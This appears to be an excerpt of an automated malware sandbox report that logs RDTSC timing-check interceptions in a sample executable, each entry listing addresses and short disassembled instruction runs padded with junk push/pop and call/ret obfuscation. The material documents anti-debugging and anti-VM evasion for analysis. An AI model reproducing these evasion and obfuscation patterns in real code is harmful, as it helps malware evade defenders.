Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2625AF second address: 2625B3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 213DC5 second address: 213DFB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F80A144E1E5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push esi 0x0000000b pop esi 0x0000000c jne 00007F80A144E1D6h 0x00000012 jmp 00007F80A144E1E0h 0x00000017 popad 0x00000018 push ebx 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 261265 second address: 261269 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 26BE7E second address: 26BE82 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 26BE82 second address: 26BE86 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 26BE86 second address: 26BE8C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 26BE8C second address: 26BEB7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F80A1521217h 0x00000007 push eax 0x00000008 push edx 0x00000009 push edx 0x0000000a pop edx 0x0000000b jmp 00007F80A152120Eh 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 26AECC second address: 26AEEA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F80A144E1E8h 0x00000009 push edx 0x0000000a pop edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 26B299 second address: 26B2B1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pop eax 0x00000006 pushad 0x00000007 je 00007F80A152120Ch 0x0000000d push edi 0x0000000e pushad 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 26A8C7 second address: 26A8D0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 push esi 0x00000008 pop esi 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 26A8D0 second address: 26A8D4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 26A8D4 second address: 26A8DA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 26A8DA second address: 26A8E3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop edx 0x00000005 pushad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 26B72A second address: 26B72F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 26BB43 second address: 26BB68 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F80A1521218h 0x0000000a push eax 0x0000000b push edx 0x0000000c jbe 00007F80A1521206h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 26BB68 second address: 26BB78 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F80A144E1DCh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 26E161 second address: 26E16A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 26E16A second address: 26E185 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F80A144E1E1h 0x00000007 push edi 0x00000008 pop edi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push ebx 0x0000000c push esi 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 26E185 second address: 26E18D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push edi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 272A77 second address: 272A98 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F80A144E1E4h 0x00000009 popad 0x0000000a pop eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 push ecx 0x00000011 pop ecx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 272A98 second address: 272A9C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 272A9C second address: 272AAA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jbe 00007F80A144E1E2h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 272AAA second address: 272AB0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 23116D second address: 213294 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F80A144E1D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b nop 0x0000000c xor dl, FFFFFFE8h 0x0000000f lea eax, dword ptr [ebp+12485E50h] 0x00000015 push 00000000h 0x00000017 push edx 0x00000018 call 00007F80A144E1D8h 0x0000001d pop edx 0x0000001e mov dword ptr [esp+04h], edx 0x00000022 add dword ptr [esp+04h], 0000001Dh 0x0000002a inc edx 0x0000002b push edx 0x0000002c ret 0x0000002d pop edx 0x0000002e ret 0x0000002f or edx, dword ptr [ebp+122D3B08h] 0x00000035 push eax 0x00000036 jng 00007F80A144E1E2h 0x0000003c jmp 00007F80A144E1DCh 0x00000041 mov dword ptr [esp], eax 0x00000044 push 00000000h 0x00000046 push eax 0x00000047 call 00007F80A144E1D8h 0x0000004c pop eax 0x0000004d mov dword ptr [esp+04h], eax 0x00000051 add dword ptr [esp+04h], 00000017h 0x00000059 inc eax 0x0000005a push eax 0x0000005b ret 0x0000005c pop eax 0x0000005d ret 0x0000005e xor edx, 79BDAFF4h 0x00000064 mov ch, 30h 0x00000066 call dword ptr [ebp+122D2C26h] 0x0000006c jmp 00007F80A144E1E9h 0x00000071 push eax 0x00000072 push edx 0x00000073 push eax 0x00000074 push edx 0x00000075 push eax 0x00000076 push edx 0x00000077 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2313CF second address: 2313D3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2313D3 second address: 2313D7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 23172A second address: 231730 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 231730 second address: 7EBEA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 mov dword ptr [esp], eax 0x00000009 stc 0x0000000a push dword ptr [ebp+122D0101h] 0x00000010 pushad 0x00000011 movsx esi, dx 0x00000014 mov dword ptr [ebp+1246A1B3h], edi 0x0000001a popad 0x0000001b jnl 00007F80A144E1E3h 0x00000021 call dword ptr [ebp+122D2692h] 0x00000027 pushad 0x00000028 mov dword ptr [ebp+122D2AF9h], edx 0x0000002e xor eax, eax 0x00000030 stc 0x00000031 mov edx, dword ptr [esp+28h] 0x00000035 jmp 00007F80A144E1DFh 0x0000003a mov dword ptr [ebp+122D37B4h], eax 0x00000040 jmp 00007F80A144E1DBh 0x00000045 mov esi, 0000003Ch 0x0000004a jmp 00007F80A144E1E3h 0x0000004f add esi, dword ptr [esp+24h] 0x00000053 add dword ptr [ebp+122D2AF9h], ebx 0x00000059 lodsw 0x0000005b cmc 0x0000005c add eax, dword ptr [esp+24h] 0x00000060 jmp 00007F80A144E1E6h 0x00000065 mov ebx, dword ptr [esp+24h] 0x00000069 jmp 00007F80A144E1DBh 0x0000006e jg 00007F80A144E1D7h 0x00000074 push eax 0x00000075 pushad 0x00000076 je 00007F80A144E1DCh 0x0000007c push eax 0x0000007d push edx 0x0000007e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2317D0 second address: 2317D5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2318DE second address: 2318E2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2319AE second address: 2319BC instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F80A1521206h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2319BC second address: 2319C0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2722EC second address: 2722FA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 pushad 0x00000009 popad 0x0000000a push ecx 0x0000000b pop ecx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 27245D second address: 272482 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 pushad 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 jmp 00007F80A144E1E6h 0x0000000e pushad 0x0000000f popad 0x00000010 popad 0x00000011 pushad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 275D72 second address: 275D76 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 275D76 second address: 275D89 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 jmp 00007F80A144E1DDh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 275D89 second address: 275D8E instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 275D8E second address: 275DAC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007F80A144E1D6h 0x0000000a pop edx 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push esi 0x0000000e push ecx 0x0000000f jmp 00007F80A144E1DDh 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2756B7 second address: 2756DD instructions: 0x00000000 rdtsc 0x00000002 js 00007F80A1521206h 0x00000008 jo 00007F80A1521206h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 jmp 00007F80A152120Dh 0x00000015 pushad 0x00000016 jbe 00007F80A1521206h 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2756DD second address: 2756FA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F80A144E1E5h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 275AAE second address: 275AC1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F80A152120Ch 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 275AC1 second address: 275AD9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 je 00007F80A144E1ECh 0x0000000d pushad 0x0000000e jo 00007F80A144E1D6h 0x00000014 push ecx 0x00000015 pop ecx 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 277DE4 second address: 277DE8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 277DE8 second address: 277E05 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F80A144E1E7h 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 277E05 second address: 277E21 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F80A1521212h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 277E21 second address: 277E25 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 277E25 second address: 277E2B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 277E2B second address: 277E31 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 277E31 second address: 277E37 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 277E37 second address: 277E3B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 27DA11 second address: 27DA17 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 27DA17 second address: 27DA1E instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 231DFB second address: 231E5F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 push eax 0x00000008 jmp 00007F80A152120Dh 0x0000000d nop 0x0000000e mov dword ptr [ebp+122D33B7h], esi 0x00000014 pushad 0x00000015 mov di, bx 0x00000018 mov eax, dword ptr [ebp+122D3994h] 0x0000001e popad 0x0000001f push 00000004h 0x00000021 push 00000000h 0x00000023 push esi 0x00000024 call 00007F80A1521208h 0x00000029 pop esi 0x0000002a mov dword ptr [esp+04h], esi 0x0000002e add dword ptr [esp+04h], 0000001Ch 0x00000036 inc esi 0x00000037 push esi 0x00000038 ret 0x00000039 pop esi 0x0000003a ret 0x0000003b nop 0x0000003c push eax 0x0000003d push edx 0x0000003e jmp 00007F80A1521214h 0x00000043 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 231E5F second address: 231E72 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pushad 0x00000004 popad 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c jnc 00007F80A144E1D6h 0x00000012 pop eax 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 231E72 second address: 231E7C instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F80A152120Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 27E59F second address: 27E5B7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F80A144E1DFh 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 27E5B7 second address: 27E5BB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1F182E second address: 1F1832 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1F1832 second address: 1F183C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 pop ebx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1F183C second address: 1F184D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F80A144E1DCh 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 286838 second address: 286844 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 286844 second address: 286864 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push edi 0x00000006 pushad 0x00000007 popad 0x00000008 jmp 00007F80A144E1E7h 0x0000000d pop edi 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 285BB7 second address: 285BD2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 jmp 00007F80A1521214h 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 285BD2 second address: 285BE4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F80A144E1DEh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 285BE4 second address: 285BE8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 285EA4 second address: 285EB7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F80A144E1DEh 0x00000009 pop edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 285EB7 second address: 285EBC instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 286177 second address: 2861B5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 jmp 00007F80A144E1E1h 0x0000000e pop edi 0x0000000f pushad 0x00000010 jno 00007F80A144E1EFh 0x00000016 push edi 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 28C484 second address: 28C4A1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F80A1521216h 0x00000009 push ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 28C4A1 second address: 28C4B8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 jnl 00007F80A144E1DCh 0x0000000b popad 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 28CEEB second address: 28CF01 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F80A1521210h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 28D50F second address: 28D513 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 28D513 second address: 28D527 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 je 00007F80A1521206h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jnc 00007F80A1521206h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 299165 second address: 299169 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1EE201 second address: 1EE207 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1EE207 second address: 1EE20E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1EE20E second address: 1EE218 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F80A152121Ah 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 298473 second address: 298479 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 298479 second address: 2984B4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F80A1521216h 0x0000000d push eax 0x0000000e push edx 0x0000000f push ebx 0x00000010 pop ebx 0x00000011 jmp 00007F80A1521219h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2984B4 second address: 2984B8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2984B8 second address: 2984C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007F80A1521206h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2984C4 second address: 2984D7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F80A144E1DFh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2988D3 second address: 2988EE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 jmp 00007F80A152120Fh 0x0000000d popad 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 298E92 second address: 298EB8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 jg 00007F80A144E1DEh 0x0000000d push edx 0x0000000e jmp 00007F80A144E1DDh 0x00000013 push ecx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2A1332 second address: 2A135E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jnp 00007F80A1521206h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jmp 00007F80A1521211h 0x00000011 pushad 0x00000012 ja 00007F80A1521206h 0x00000018 jp 00007F80A1521206h 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2A2231 second address: 2A2236 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2A2236 second address: 2A223C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2A0A11 second address: 2A0A18 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2A8302 second address: 2A8308 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2B6356 second address: 2B6360 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F80A144E1D6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2BF7AD second address: 2BF7B3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2C1062 second address: 2C1068 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2C1068 second address: 2C107C instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F80A1521206h 0x00000008 jng 00007F80A1521206h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
